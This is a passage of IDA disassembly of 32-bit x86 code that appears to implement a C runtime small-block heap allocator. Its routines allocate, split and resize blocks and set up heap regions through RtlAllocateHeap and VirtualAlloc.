					; sub_4208D0+E2j ...
		mov	edx, [ebp+var_18]
		mov	dword_4EFF70, edx
		mov	eax, [ebp+var_18]
		mov	ecx, [eax+10h]
		mov	[ebp+var_38], ecx
		mov	edx, [ebp+var_38]
		mov	eax, [edx]
		mov	[ebp+var_30], eax
		cmp	[ebp+var_30], 0FFFFFFFFh
		jz	short loc_420A90
		mov	ecx, [ebp+var_30]
		mov	edx, [ebp+var_38]
		mov	eax, [ebp+var_24]
		and	eax, [edx+ecx*4+44h]
		mov	ecx, [ebp+var_30]
		mov	edx, [ebp+var_38]
		mov	esi, [ebp+var_34]
		and	esi, [edx+ecx*4+0C4h]
		or	eax, esi
		test	eax, eax
		jnz	short loc_420AC5


loc_420A90:				; CODE XREF: sub_4208D0+19Bj
		mov	[ebp+var_30], 0


loc_420A97:				; CODE XREF: sub_4208D0+1F3j
		mov	eax, [ebp+var_30]
		mov	ecx, [ebp+var_38]
		mov	edx, [ebp+var_24]
		and	edx, [ecx+eax*4+44h]
		mov	eax, [ebp+var_30]
		mov	ecx, [ebp+var_38]
		mov	esi, [ebp+var_34]
		and	esi, [ecx+eax*4+0C4h]
		or	edx, esi
		test	edx, edx
		jnz	short loc_420AC5
		mov	edx, [ebp+var_30]
		add	edx, 1
		mov	[ebp+var_30], edx
		jmp	short loc_420A97
; ---------------------------------------------------------------------------


loc_420AC5:				; CODE XREF: sub_4208D0+1BEj
					; sub_4208D0+1E8j
		mov	eax, [ebp+var_30]
		imul	eax, 204h
		mov	ecx, [ebp+var_38]
		lea	edx, [ecx+eax+144h]
		mov	[ebp+var_4], edx
		mov	[ebp+var_20], 0
		mov	eax, [ebp+var_30]
		mov	ecx, [ebp+var_38]
		mov	edx, [ebp+var_24]
		and	edx, [ecx+eax*4+44h]
		mov	[ebp+var_1C], edx
		cmp	[ebp+var_1C], 0
		jnz	short loc_420B12
		mov	[ebp+var_20], 20h
		mov	eax, [ebp+var_30]
		mov	ecx, [ebp+var_38]
		mov	edx, [ebp+var_34]
		and	edx, [ecx+eax*4+0C4h]
		mov	[ebp+var_1C], edx


loc_420B12:				; CODE XREF: sub_4208D0+226j
					; sub_4208D0+259j
		cmp	[ebp+var_1C], 0
		jl	short loc_420B2B
		mov	eax, [ebp+var_1C]
		shl	eax, 1
		mov	[ebp+var_1C], eax
		mov	ecx, [ebp+var_20]
		add	ecx, 1
		mov	[ebp+var_20], ecx
		jmp	short loc_420B12
; ---------------------------------------------------------------------------


loc_420B2B:				; CODE XREF: sub_4208D0+246j
		mov	edx, [ebp+var_20]
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+edx*8+4]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_10]
		mov	eax, [edx]
		sub	eax, [ebp+var_28]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_8]
		sar	ecx, 4
		sub	ecx, 1
		mov	[ebp+var_14], ecx
		cmp	[ebp+var_14], 3Fh
		jle	short loc_420B5C
		mov	[ebp+var_14], 3Fh


loc_420B5C:				; CODE XREF: sub_4208D0+283j
		mov	edx, [ebp+var_14]
		cmp	edx, [ebp+var_20]
		jz	loc_420D80
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_10]
		mov	edx, [eax+4]
		cmp	edx, [ecx+8]
		jnz	loc_420C4A
		cmp	[ebp+var_20], 20h
		jge	short loc_420BDF
		mov	eax, 80000000h
		mov	ecx, [ebp+var_20]
		shr	eax, cl
		not	eax
		mov	ecx, [ebp+var_30]
		mov	edx, [ebp+var_38]
		mov	ecx, [edx+ecx*4+44h]
		and	ecx, eax
		mov	edx, [ebp+var_30]
		mov	eax, [ebp+var_38]
		mov	[eax+edx*4+44h], ecx
		mov	ecx, [ebp+var_38]
		add	ecx, [ebp+var_20]
		mov	dl, [ecx+4]
		sub	dl, 1
		mov	eax, [ebp+var_38]
		add	eax, [ebp+var_20]
		mov	[eax+4], dl
		mov	ecx, [ebp+var_38]
		add	ecx, [ebp+var_20]
		movsx	edx, byte ptr [ecx+4]
		test	edx, edx
		jnz	short loc_420BDD
		mov	eax, 80000000h
		mov	ecx, [ebp+var_20]
		shr	eax, cl
		not	eax
		mov	ecx, [ebp+var_18]
		mov	edx, [ecx]
		and	edx, eax
		mov	eax, [ebp+var_18]
		mov	[eax], edx


loc_420BDD:				; CODE XREF: sub_4208D0+2F3j
		jmp	short loc_420C4A
; ---------------------------------------------------------------------------


loc_420BDF:				; CODE XREF: sub_4208D0+2AEj
		mov	ecx, [ebp+var_20]
		sub	ecx, 20h
		mov	edx, 80000000h
		shr	edx, cl
		not	edx
		mov	eax, [ebp+var_30]
		mov	ecx, [ebp+var_38]
		mov	eax, [ecx+eax*4+0C4h]
		and	eax, edx
		mov	ecx, [ebp+var_30]
		mov	edx, [ebp+var_38]
		mov	[edx+ecx*4+0C4h], eax
		mov	eax, [ebp+var_38]
		add	eax, [ebp+var_20]
		mov	cl, [eax+4]
		sub	cl, 1
		mov	edx, [ebp+var_38]
		add	edx, [ebp+var_20]
		mov	[edx+4], cl
		mov	eax, [ebp+var_38]
		add	eax, [ebp+var_20]
		movsx	ecx, byte ptr [eax+4]
		test	ecx, ecx
		jnz	short loc_420C4A
		mov	ecx, [ebp+var_20]
		sub	ecx, 20h
		mov	edx, 80000000h
		shr	edx, cl
		not	edx
		mov	eax, [ebp+var_18]
		mov	ecx, [eax+4]
		and	ecx, edx
		mov	edx, [ebp+var_18]
		mov	[edx+4], ecx


loc_420C4A:				; CODE XREF: sub_4208D0+2A4j
					; sub_4208D0:loc_420BDDj ...
		mov	eax, [ebp+var_10]
		mov	ecx, [eax+8]
		mov	edx, [ebp+var_10]
		mov	eax, [edx+4]
		mov	[ecx+4], eax
		mov	ecx, [ebp+var_10]
		mov	edx, [ecx+4]
		mov	eax, [ebp+var_10]
		mov	ecx, [eax+8]
		mov	[edx+8], ecx
		cmp	[ebp+var_8], 0
		jz	loc_420D80
		mov	edx, [ebp+var_14]
		mov	eax, [ebp+var_4]
		lea	ecx, [eax+edx*8]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_10]
		mov	eax, [ebp+var_C]
		mov	ecx, [eax+4]
		mov	[edx+4], ecx
		mov	edx, [ebp+var_10]
		mov	eax, [ebp+var_C]
		mov	[edx+8], eax
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+var_10]
		mov	[ecx+4], edx
		mov	eax, [ebp+var_10]
		mov	ecx, [eax+4]
		mov	edx, [ebp+var_10]
		mov	[ecx+8], edx
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_10]
		mov	edx, [eax+4]
		cmp	edx, [ecx+8]
		jnz	loc_420D80
		cmp	[ebp+var_14], 20h
		jge	short loc_420D1A
		mov	eax, [ebp+var_38]
		add	eax, [ebp+var_14]
		movsx	ecx, byte ptr [eax+4]
		mov	edx, [ebp+var_38]
		add	edx, [ebp+var_14]
		mov	al, [edx+4]
		add	al, 1
		mov	edx, [ebp+var_38]
		add	edx, [ebp+var_14]
		mov	[edx+4], al
		test	ecx, ecx
		jnz	short loc_420CF8
		mov	eax, 80000000h
		mov	ecx, [ebp+var_14]
		shr	eax, cl
		mov	ecx, [ebp+var_18]
		mov	edx, [ecx]
		or	edx, eax
		mov	eax, [ebp+var_18]
		mov	[eax], edx


loc_420CF8:				; CODE XREF: sub_4208D0+410j
		mov	edx, 80000000h
		mov	ecx, [ebp+var_14]
		shr	edx, cl
		mov	eax, [ebp+var_30]
		mov	ecx, [ebp+var_38]
		mov	eax, [ecx+eax*4+44h]
		or	eax, edx
		mov	ecx, [ebp+var_30]
		mov	edx, [ebp+var_38]
		mov	[edx+ecx*4+44h], eax
		jmp	short loc_420D80
; ---------------------------------------------------------------------------


loc_420D1A:				; CODE XREF: sub_4208D0+3EEj
		mov	eax, [ebp+var_38]
		add	eax, [ebp+var_14]
		movsx	ecx, byte ptr [eax+4]
		mov	edx, [ebp+var_38]
		add	edx, [ebp+var_14]
		mov	al, [edx+4]
		add	al, 1
		mov	edx, [ebp+var_38]
		add	edx, [ebp+var_14]
		mov	[edx+4], al
		test	ecx, ecx
		jnz	short loc_420D57
		mov	ecx, [ebp+var_14]
		sub	ecx, 20h
		mov	eax, 80000000h
		shr	eax, cl
		mov	ecx, [ebp+var_18]
		mov	edx, [ecx+4]
		or	edx, eax
		mov	eax, [ebp+var_18]
		mov	[eax+4], edx


loc_420D57:				; CODE XREF: sub_4208D0+46Aj
		mov	ecx, [ebp+var_14]
		sub	ecx, 20h
		mov	edx, 80000000h
		shr	edx, cl
		mov	eax, [ebp+var_30]
		mov	ecx, [ebp+var_38]
		mov	eax, [ecx+eax*4+0C4h]
		or	eax, edx
		mov	ecx, [ebp+var_30]
		mov	edx, [ebp+var_38]
		mov	[edx+ecx*4+0C4h], eax


loc_420D80:				; CODE XREF: sub_4208D0+292j
					; sub_4208D0+39Cj ...
		cmp	[ebp+var_8], 0
		jz	short loc_420D9A
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	edx, [ebp+var_10]
		add	edx, [ebp+var_8]
		mov	eax, [ebp+var_8]
		mov	[edx-4], eax


loc_420D9A:				; CODE XREF: sub_4208D0+4B4j
		mov	ecx, [ebp+var_10]
		add	ecx, [ebp+var_8]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_28]
		add	edx, 1
		mov	eax, [ebp+var_10]
		mov	[eax], edx
		mov	ecx, [ebp+var_28]
		add	ecx, 1
		mov	edx, [ebp+var_10]
		add	edx, [ebp+var_28]
		mov	[edx-4], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		add	eax, 1
		mov	edx, [ebp+var_4]
		mov	[edx], eax
		test	ecx, ecx
		jnz	short loc_420DF3
		mov	eax, [ebp+var_18]
		cmp	eax, dword_4EFF74
		jnz	short loc_420DF3
		mov	ecx, [ebp+var_30]
		cmp	ecx, dword_4EFF6C
		jnz	short loc_420DF3
		mov	dword_4EFF74, 0


loc_420DF3:				; CODE XREF: sub_4208D0+501j
					; sub_4208D0+50Cj ...
		mov	edx, [ebp+var_38]
		mov	eax, [ebp+var_30]
		mov	[edx], eax
		mov	eax, [ebp+var_10]
		add	eax, 4


loc_420E01:				; CODE XREF: sub_4208D0+152j
					; sub_4208D0+178j
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_4208D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420E10	proc near		; CODE XREF: sub_4208D0+142p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4EFF78
		cmp	eax, dword_4EFF68
		jnz	short loc_420E6B
		mov	ecx, dword_4EFF68
		add	ecx, 10h
		imul	ecx, 14h
		push	ecx
		mov	edx, dword_4EFF7C
		push	edx
		push	0
		mov	eax, dword_4EFF80
		push	eax
		call	dword_4F147C	; RtlReAllocateHeap
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_420E53
		xor	eax, eax
		jmp	loc_420F1B
; ---------------------------------------------------------------------------


loc_420E53:				; CODE XREF: sub_420E10+3Aj
		mov	ecx, [ebp+var_4]
		mov	dword_4EFF7C, ecx
		mov	edx, dword_4EFF68
		add	edx, 10h
		mov	dword_4EFF68, edx


loc_420E6B:				; CODE XREF: sub_420E10+Fj
		mov	eax, dword_4EFF78
		imul	eax, 14h
		mov	ecx, dword_4EFF7C
		add	ecx, eax
		mov	[ebp+var_4], ecx
		push	41C4h
		push	8
		mov	edx, dword_4EFF80
		push	edx
		call	dword_4F1478	; RtlAllocateHeap
		mov	ecx, [ebp+var_4]
		mov	[ecx+10h], eax
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx+10h], 0
		jnz	short loc_420EA5
		xor	eax, eax
		jmp	short loc_420F1B
; ---------------------------------------------------------------------------


loc_420EA5:				; CODE XREF: sub_420E10+8Fj
		push	4
		push	2000h
		push	100000h
		push	0
		call	dword_4F1490	; VirtualAlloc
		mov	ecx, [ebp+var_4]
		mov	[ecx+0Ch], eax
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx+0Ch], 0
		jnz	short loc_420EE2
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+10h]
		push	ecx
		push	0
		mov	edx, dword_4EFF80
		push	edx
		call	dword_4F1480	; RtlFreeHeap
		xor	eax, eax
		jmp	short loc_420F1B
; ---------------------------------------------------------------------------


loc_420EE2:				; CODE XREF: sub_420E10+B6j
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], 0
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx+4], 0
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx+8], 0FFFFFFFFh
		mov	eax, dword_4EFF78
		add	eax, 1
		mov	dword_4EFF78, eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+10h]
		mov	dword ptr [edx], 0FFFFFFFFh
		mov	eax, [ebp+var_4]


loc_420F1B:				; CODE XREF: sub_420E10+3Ej
					; sub_420E10+93j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_420E10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420F20	proc near		; CODE XREF: sub_4208D0+15Bp

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+10h]
		mov	[ebp+var_2C], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		mov	[ebp+var_8], eax
		mov	[ebp+var_28], 0


loc_420F3F:				; CODE XREF: sub_420F20+36j
		cmp	[ebp+var_8], 0
		jl	short loc_420F58
		mov	ecx, [ebp+var_8]
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+var_28]
		add	edx, 1
		mov	[ebp+var_28], edx
		jmp	short loc_420F3F
; ---------------------------------------------------------------------------


loc_420F58:				; CODE XREF: sub_420F20+23j
		mov	eax, [ebp+var_28]
		imul	eax, 204h
		mov	ecx, [ebp+var_2C]
		lea	edx, [ecx+eax+144h]
		mov	[ebp+var_C], edx
		mov	[ebp+var_20], 0
		jmp	short loc_420F80
; ---------------------------------------------------------------------------


loc_420F77:				; CODE XREF: sub_420F20+84j
		mov	eax, [ebp+var_20]
		add	eax, 1
		mov	[ebp+var_20], eax


loc_420F80:				; CODE XREF: sub_420F20+55j
		cmp	[ebp+var_20], 3Fh
		jge	short loc_420FA6
		mov	ecx, [ebp+var_20]
		mov	edx, [ebp+var_C]
		lea	eax, [edx+ecx*8]
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+var_18]
		mov	edx, [ebp+var_18]
		mov	[ecx+8], edx
		mov	eax, [ebp+var_18]
		mov	ecx, [ebp+var_18]
		mov	[eax+4], ecx
		jmp	short loc_420F77
; ---------------------------------------------------------------------------


loc_420FA6:				; CODE XREF: sub_420F20+64j
		mov	edx, [ebp+var_28]
		shl	edx, 0Fh
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+0Ch]
		add	ecx, edx
		mov	[ebp+var_10], ecx
		push	4
		push	1000h
		push	8000h
		mov	edx, [ebp+var_10]
		push	edx
		call	dword_4F1490	; VirtualAlloc
		test	eax, eax
		jnz	short loc_420FD9
		or	eax, 0FFFFFFFFh
		jmp	loc_42110A
; ---------------------------------------------------------------------------


loc_420FD9:				; CODE XREF: sub_420F20+AFj
		mov	eax, [ebp+var_10]
		add	eax, 7000h
		mov	[ebp+var_1C], eax
		mov	ecx, [ebp+var_10]
		mov	[ebp+var_4], ecx
		jmp	short loc_420FF8
; ---------------------------------------------------------------------------


loc_420FEC:				; CODE XREF: sub_420F20+13Bj
		mov	edx, [ebp+var_4]
		add	edx, 1000h
		mov	[ebp+var_4], edx


loc_420FF8:				; CODE XREF: sub_420F20+CAj
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_1C]
		ja	short loc_42105D
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx+8], 0FFFFFFFFh
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx+0FFCh], 0FFFFFFFFh
		mov	eax, [ebp+var_4]
		add	eax, 0Ch
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+var_18]
		mov	dword ptr [ecx], 0FF0h
		mov	edx, [ebp+var_18]
		add	edx, 1000h
		mov	eax, [ebp+var_18]
		mov	[eax+4], edx
		mov	ecx, [ebp+var_18]
		sub	ecx, 1000h
		mov	edx, [ebp+var_18]
		mov	[edx+8], ecx
		mov	eax, [ebp+var_18]
		add	eax, 0FECh
		mov	[ebp+var_24], eax
		mov	ecx, [ebp+var_24]
		mov	dword ptr [ecx], 0FF0h
		jmp	short loc_420FEC
; ---------------------------------------------------------------------------


loc_42105D:				; CODE XREF: sub_420F20+DEj
		mov	edx, [ebp+var_C]
		add	edx, 1F8h
		mov	[ebp+var_14], edx
		mov	eax, [ebp+var_10]
		add	eax, 0Ch
		mov	ecx, [ebp+var_14]
		mov	[ecx+4], eax
		mov	edx, [ebp+var_14]
		mov	eax, [edx+4]
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+var_18]
		mov	edx, [ebp+var_14]
		mov	[ecx+8], edx
		mov	eax, [ebp+var_1C]
		add	eax, 0Ch
		mov	ecx, [ebp+var_14]
		mov	[ecx+8], eax
		mov	edx, [ebp+var_14]
		mov	eax, [edx+8]
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+var_18]
		mov	edx, [ebp+var_14]
		mov	[ecx+4], edx
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_2C]
		mov	dword ptr [ecx+eax*4+44h], 0
		mov	edx, [ebp+var_28]
		mov	eax, [ebp+var_2C]
		mov	dword ptr [eax+edx*4+0C4h], 1
		mov	ecx, [ebp+var_2C]
		movsx	edx, byte ptr [ecx+43h]
		mov	eax, [ebp+var_2C]
		mov	cl, [eax+43h]
		add	cl, 1
		mov	eax, [ebp+var_2C]
		mov	[eax+43h], cl
		test	edx, edx
		jnz	short loc_4210ED
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		or	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edx


loc_4210ED:				; CODE XREF: sub_420F20+1BCj
		mov	edx, 80000000h
		mov	ecx, [ebp+var_28]
		shr	edx, cl
		not	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		and	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	[edx+8], ecx
		mov	eax, [ebp+var_28]


loc_42110A:				; CODE XREF: sub_420F20+B4j
		mov	esp, ebp
		pop	ebp
		retn
sub_420F20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421110	proc near		; CODE XREF: sub_41FD20+50p
					; sub_41FDD0+81p

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		mov	eax, [ebp+arg_8]
		add	eax, 17h
		and	al, 0F0h
		mov	[ebp+var_1C], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+10h]
		mov	[ebp+var_30], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		sub	ecx, [eax+0Ch]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_C]
		shr	edx, 0Fh
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		imul	eax, 204h
		mov	ecx, [ebp+var_30]
		lea	edx, [ecx+eax+144h]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+arg_4]
		sub	eax, 4
		mov	[ebp+var_14], eax
		mov	ecx, [ebp+var_14]
		mov	edx, [ecx]
		sub	edx, 1
		mov	[ebp+var_28], edx
		mov	eax, [ebp+var_14]
		add	eax, [ebp+var_28]
		mov	[ebp+var_2C], eax
		mov	ecx, [ebp+var_2C]
		mov	edx, [ecx]
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_28]
		jle	loc_421436
		mov	ecx, [ebp+var_10]
		and	ecx, 1
		test	ecx, ecx
		jnz	short loc_42119B
		mov	edx, [ebp+var_28]
		add	edx, [ebp+var_10]
		cmp	[ebp+var_1C], edx
		jle	short loc_4211A2


loc_42119B:				; CODE XREF: sub_421110+7Ej
		xor	eax, eax
		jmp	loc_4216F7
; ---------------------------------------------------------------------------


loc_4211A2:				; CODE XREF: sub_421110+89j
		mov	eax, [ebp+var_10]
		sar	eax, 4
		sub	eax, 1
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 3Fh
		jbe	short loc_4211BB
		mov	[ebp+var_20], 3Fh


loc_4211BB:				; CODE XREF: sub_421110+A2j
		mov	ecx, [ebp+var_2C]
		mov	edx, [ebp+var_2C]
		mov	eax, [ecx+4]
		cmp	eax, [edx+8]
		jnz	loc_42129D
		cmp	[ebp+var_20], 20h
		jnb	short loc_421232
		mov	edx, 80000000h
		mov	ecx, [ebp+var_20]
		shr	edx, cl
		not	edx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_30]
		mov	eax, [ecx+eax*4+44h]
		and	eax, edx
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_30]
		mov	[edx+ecx*4+44h], eax
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_20]
		mov	cl, [eax+4]
		sub	cl, 1
		mov	edx, [ebp+var_30]
		add	edx, [ebp+var_20]
		mov	[edx+4], cl
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_20]
		movsx	ecx, byte ptr [eax+4]
		test	ecx, ecx
		jnz	short loc_421230
		mov	edx, 80000000h
		mov	ecx, [ebp+var_20]
		shr	edx, cl
		not	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx


loc_421230:				; CODE XREF: sub_421110+106j
		jmp	short loc_42129D
; ---------------------------------------------------------------------------


loc_421232:				; CODE XREF: sub_421110+C1j
		mov	ecx, [ebp+var_20]
		sub	ecx, 20h
		mov	eax, 80000000h
		shr	eax, cl
		not	eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_30]
		mov	ecx, [edx+ecx*4+0C4h]
		and	ecx, eax
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_30]
		mov	[eax+edx*4+0C4h], ecx
		mov	ecx, [ebp+var_30]
		add	ecx, [ebp+var_20]
		mov	dl, [ecx+4]
		sub	dl, 1
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_20]
		mov	[eax+4], dl
		mov	ecx, [ebp+var_30]
		add	ecx, [ebp+var_20]
		movsx	edx, byte ptr [ecx+4]
		test	edx, edx
		jnz	short loc_42129D
		mov	ecx, [ebp+var_20]
		sub	ecx, 20h
		mov	eax, 80000000h
		shr	eax, cl
		not	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		and	edx, eax
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edx


loc_42129D:				; CODE XREF: sub_421110+B7j
					; sub_421110:loc_421230j ...
		mov	ecx, [ebp+var_2C]
		mov	edx, [ecx+8]
		mov	eax, [ebp+var_2C]
		mov	ecx, [eax+4]
		mov	[edx+4], ecx
		mov	edx, [ebp+var_2C]
		mov	eax, [edx+4]
		mov	ecx, [ebp+var_2C]
		mov	edx, [ecx+8]
		mov	[eax+8], edx
		mov	eax, [ebp+var_28]
		add	eax, [ebp+var_10]
		sub	eax, [ebp+var_1C]
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jle	loc_421417
		mov	ecx, [ebp+var_14]
		add	ecx, [ebp+var_1C]
		mov	[ebp+var_2C], ecx
		mov	edx, [ebp+var_10]
		sar	edx, 4
		sub	edx, 1
		mov	[ebp+var_20], edx
		cmp	[ebp+var_20], 3Fh
		jbe	short loc_4212F3
		mov	[ebp+var_20], 3Fh


loc_4212F3:				; CODE XREF: sub_421110+1DAj
		mov	eax, [ebp+var_20]
		mov	ecx, [ebp+var_8]
		lea	edx, [ecx+eax*8]
		mov	[ebp+var_18], edx
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_18]
		mov	edx, [ecx+4]
		mov	[eax+4], edx
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_18]
		mov	[eax+8], ecx
		mov	edx, [ebp+var_18]
		mov	eax, [ebp+var_2C]
		mov	[edx+4], eax
		mov	ecx, [ebp+var_2C]
		mov	edx, [ecx+4]
		mov	eax, [ebp+var_2C]
		mov	[edx+8], eax
		mov	ecx, [ebp+var_2C]
		mov	edx, [ebp+var_2C]
		mov	eax, [ecx+4]
		cmp	eax, [edx+8]
		jnz	loc_421403
		cmp	[ebp+var_20], 20h
		jnb	short loc_42139C
		mov	ecx, [ebp+var_30]
		add	ecx, [ebp+var_20]
		movsx	edx, byte ptr [ecx+4]
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_20]
		mov	cl, [eax+4]
		add	cl, 1
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_20]
		mov	[eax+4], cl
		test	edx, edx
		jnz	short loc_42137A
		mov	edx, 80000000h
		mov	ecx, [ebp+var_20]
		shr	edx, cl
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		or	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx


loc_42137A:				; CODE XREF: sub_421110+252j
		mov	eax, 80000000h
		mov	ecx, [ebp+var_20]
		shr	eax, cl
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_30]
		mov	ecx, [edx+ecx*4+44h]
		or	ecx, eax
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_30]
		mov	[eax+edx*4+44h], ecx
		jmp	short loc_421403
; ---------------------------------------------------------------------------


loc_42139C:				; CODE XREF: sub_421110+22Fj
		mov	ecx, [ebp+var_30]
		add	ecx, [ebp+var_20]
		movsx	edx, byte ptr [ecx+4]
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_20]
		mov	cl, [eax+4]
		add	cl, 1
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_20]
		mov	[eax+4], cl
		test	edx, edx
		jnz	short loc_4213DA
		mov	ecx, [ebp+var_20]
		sub	ecx, 20h
		mov	edx, 80000000h
		shr	edx, cl
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		or	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	[edx+4], ecx


loc_4213DA:				; CODE XREF: sub_421110+2ADj
		mov	ecx, [ebp+var_20]
		sub	ecx, 20h
		mov	eax, 80000000h
		shr	eax, cl
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_30]
		mov	ecx, [edx+ecx*4+0C4h]
		or	ecx, eax
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_30]
		mov	[eax+edx*4+0C4h], ecx


loc_421403:				; CODE XREF: sub_421110+225j
					; sub_421110+28Aj
		mov	ecx, [ebp+var_2C]
		mov	edx, [ebp+var_10]
		mov	[ecx], edx
		mov	eax, [ebp+var_2C]
		add	eax, [ebp+var_10]
		mov	ecx, [ebp+var_10]
		mov	[eax-4], ecx


loc_421417:				; CODE XREF: sub_421110+1BBj
		mov	edx, [ebp+var_1C]
		add	edx, 1
		mov	eax, [ebp+var_14]
		mov	[eax], edx
		mov	ecx, [ebp+var_1C]
		add	ecx, 1
		mov	edx, [ebp+var_14]
		add	edx, [ebp+var_1C]
		mov	[edx-4], ecx
		jmp	loc_4216F2
; ---------------------------------------------------------------------------


loc_421436:				; CODE XREF: sub_421110+70j
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_28]
		jge	loc_4216F2
		mov	ecx, [ebp+var_1C]
		add	ecx, 1
		mov	edx, [ebp+var_14]
		mov	[edx], ecx
		mov	eax, [ebp+var_1C]
		add	eax, 1
		mov	ecx, [ebp+var_14]
		add	ecx, [ebp+var_1C]
		mov	[ecx-4], eax
		mov	edx, [ebp+var_14]
		add	edx, [ebp+var_1C]
		mov	[ebp+var_14], edx
		mov	eax, [ebp+var_28]
		sub	eax, [ebp+var_1C]
		mov	[ebp+var_28], eax
		mov	ecx, [ebp+var_28]
		sar	ecx, 4
		sub	ecx, 1
		mov	[ebp+var_24], ecx
		cmp	[ebp+var_24], 3Fh
		jbe	short loc_421487
		mov	[ebp+var_24], 3Fh


loc_421487:				; CODE XREF: sub_421110+36Ej
		mov	edx, [ebp+var_10]
		and	edx, 1
		test	edx, edx
		jnz	loc_4215D0
		mov	eax, [ebp+var_10]
		sar	eax, 4
		sub	eax, 1
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 3Fh
		jbe	short loc_4214AE
		mov	[ebp+var_20], 3Fh


loc_4214AE:				; CODE XREF: sub_421110+395j
		mov	ecx, [ebp+var_2C]
		mov	edx, [ebp+var_2C]
		mov	eax, [ecx+4]
		cmp	eax, [edx+8]
